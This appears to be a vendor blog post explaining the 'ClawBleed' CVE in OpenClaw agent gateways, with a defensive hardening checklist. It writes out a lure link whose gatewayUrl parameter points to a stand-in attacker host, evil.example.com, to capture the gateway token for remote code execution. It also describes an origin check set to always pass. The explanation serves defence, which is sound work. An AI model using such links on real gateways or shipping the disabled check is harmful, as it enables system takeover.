ClawBleed: How One Clicked Link Turned 40,000 Self-Hosted Agent Gateways Into Remote Shells

One clicked link. That was the whole exploit. In late January 2026, researchers showed that a single malicious URL could hand an attacker full remote code execution on anyone's OpenClaw agent gateway — no password guessing, no malware, just a victim opening a link while their own Control UI did the rest. The vulnerability, tracked as CVE-2026-25253 and nicknamed ClawBleed, carried a CVSS score of 8.8. Internet-wide scans soon counted more than 40,000 exposed OpenClaw instances, most with no authentication at all.

If you operate anything an AI agent can reach — and especially anything an agent can deploy through — this one is worth understanding in detail. The bug was not a buffer overflow or a crypto failure. It was a control-plane UI that trusted the browser's query string, auto-connected a WebSocket, and mailed its own auth token to whoever asked. Every one of those decisions felt harmless in isolation. Together they turned self-hosting from a security boundary into scenery.

Anatomy of a one-click takeover​

The kill chain, as documented in the coordinated disclosure (GHSA-g8p2-7wf7-98mq) and The Hacker News write-up, runs in five steps:

1. The lure. The attacker crafts an ordinary-looking link to the victim's own OpenClaw Control UI with one extra query parameter: ?gatewayUrl=wss://evil.example.com. It can arrive by chat message, email, forum post — anywhere a link renders.
2. Blind trust. On page load, the Control UI reads gatewayUrl straight out of the query string and writes it into its stored settings with no validation. The app-settings code treated a URL parameter as configuration.
3. Auto-connect. The app lifecycle code immediately calls connectGateway() on load, bundling the stored gateway auth token into the WebSocket connect payload — addressed to the attacker's endpoint.
4. Token capture. The attacker's server logs the token. It never needed to break anything; the victim's browser volunteered the credential.
5. Replay to RCE. The attacker replays the token against the victim's real gateway. A gateway that can run agent tools, execute shell commands, and read local files is now theirs. Token exfiltration becomes full system takeover.

The flaw was found by researchers at Ethiack and DepthFirst, disclosed in a coordinated release, and fixed in version 2026.1.29 on January 30, 2026. As OpenClaw's maintainer put it in the advisory: the Control UI trusted gatewayUrl from the query string without validation and auto-connected on load, sending the stored gateway token in the WebSocket connect payload. Three small design choices — trust the parameter, connect automatically, attach the credential — composed into a critical CVE.

What REST gets for free that WebSockets don't​

The deeper lesson is a protocol asymmetry that bites every operator dashboard eventually. A REST API behind a browser gets several layers of ambient protection: the same-origin policy gates reads across origins, CORS preflight forces the server to opt in before a foreign page can make interesting requests, and cookie-based sessions can lean on SameSite attributes and CSRF tokens. None of that transfers to a WebSocket handshake automatically.

The WebSocket protocol does not intrinsically check the Origin header — the spec leaves that to the application. A browser will happily open a cross-origin WebSocket to any server that accepts the upgrade, sending along whatever payload the page's JavaScript assembles. If the server never inspects Origin, any website the victim visits can talk to the socket. Security engineers call this cross-site WebSocket hijacking (CSWSH).

OpenClaw was far from alone in missing that last row: the same absent-Origin-check pattern has produced CSWSH advisories against MeshCentral, nginx-ui endpoints, the KueueViz dashboard backend, and others. Go's popular gorilla/websocket upgrader even makes the insecure option the easy one — a CheckOrigin function returning true unconditionally — and audit after audit finds it set exactly that way.

DepthFirst's researcher demonstrated the sharpest consequence: CSWSH pivots through the browser, so it reaches even a localhost-bound gateway. Binding to loopback protects the port from the network, but the attack never comes from the network — it comes from the victim's own browser, which is already inside the perimeter. Localhost stopped being a security boundary the day every browser could be steered by a link.

Forty thousand gateways on the open internet​

The exposure census made the bug worse than its CVSS score. During the research window, internet-wide scans kept finding more instances, ultimately exceeding 40,000 internet-facing OpenClaw deployments, concentrated in major cloud and hosting providers — a sign that insecure deployment patterns were being copied at scale.

Separate counts put numbers on the damage: roughly 42,900 exposed control panels in one survey, about 15,200 with what amounted to full system access, and researchers pegging well over half of the exposed population as practically exploitable. Bitsight watched the count climb from around 1,000 to more than 30,000 publicly exposed instances in two weeks. Panels were even leaking third-party API keys, compounding each takeover.

The root enabler was a default: OpenClaw bound its gateway to 0.0.0.0:18789 — every network interface — rather than loopback. Personal workstations, Mac minis under desks, and cloud VMs running personal agents were suddenly public infrastructure, usually with no password set. The project's own SECURITY.md now states the posture plainly: do not expose the gateway to the public internet, bind loopback, reach it remotely over an SSH tunnel or Tailscale, and set strong gateway auth. That guidance is correct — and it is guidance the defaults should have enforced from day one, because almost nobody hardens a tool whose installer just worked.

One patch didn't end it​

ClawBleed would be a tidy cautionary tale if the story stopped at 2026.1.29. It didn't. Community-tracked follow-ons in the same gateway surface read like a syllabus of control-plane auth failures: an unauthenticated local RCE over the WebSocket channel, a token-rotation race escalating to admin RCE, a sandbox escape, an OS command injection, and a CSWSH origin-validation bypass in trusted-proxy mode. Each got its own CVE and its own patch. The pattern is the point — when the auth model treats a powerful control channel like a settings page, fixing one parameter-handling bug just promotes the next one.

The ecosystem around the gateway fared no better. The ClawHavoc campaign planted over a thousand malicious skills where agents shop for capabilities, and enterprise telemetry found more than a fifth of some customer bases running OpenClaw without IT approval at all — shadow AI with shell access. Half a million instances, no fleet-wide patch mechanism, no central kill switch. Self-hosted means nobody can push the fix for you, which is a feature right up until it is the vulnerability.

A checklist for any gateway that accepts deploy commands​

Bex readers run infrastructure that agents operate, so here is the concrete takeaway: if your control plane accepts commands that change what runs — deploys, rollbacks, restarts, shell — treat its WebSocket with the seriousness of SSH, not of a settings page.

• Validate Origin on every WebSocket upgrade. Reject cross-origin handshakes by default and allowlist explicitly. This single check kills the entire CSWSH class, including the localhost-pivot variant.
• Never take endpoint or credential configuration from the URL. A query string is attacker-controlled input, full stop. Endpoint changes must live in authenticated settings, not in a link anyone can mint.
• Require explicit user confirmation before connecting anywhere new. Auto-connect is the step that removed the human from a credential-bearing decision. A new endpoint should always be a deliberate, visible act.
• Bind loopback and require auth by default. The secure posture must be what ships, not what the hardening guide suggests. Public exposure should be a conscious, documented override — ideally still behind a tunnel or identity-aware proxy.
• Scope tokens narrowly and rotate them. A gateway token that can do everything, forever, turns every leak into total compromise. Short-lived, least-privilege credentials bound to an audience shrink every future token bug.
• Treat the agent's tool surface as the blast radius. A token that can run shell commands is a shell. Audit what the gateway can do with the credential before auditing how the credential travels.

None of this is exotic. It is the boring, well-documented side of building operator tooling — which is exactly why it keeps getting skipped by projects optimizing for install-and-wow.

Self-hosted moves the boundary; it doesn't create one​

The uncomfortable coda to ClawBleed is that its victims did everything the self-hosting discourse recommends. They ran the software on their own machines, on their own networks, under their own control. It didn't save them, because the trust boundary that mattered was never the network perimeter — it was the browser tab, the query string, and a WebSocket server that couldn't tell its owner from a stranger's website.

Owning the machine is necessary but not sufficient. What closes the gap is a control-plane auth model designed like infrastructure: origin-checked, authenticated by default, loopback-first, and built on the assumption that every link is hostile. The teams that internalize that before their agent gateway accepts its first deploy command get to learn from OpenClaw's January. Everyone else gets to repeat it.

Bex.co is the open-source, AI-native Render alternative — push a git repo, get a running HTTPS service on machines you own. Star the repo on GitHub or deploy your first app today.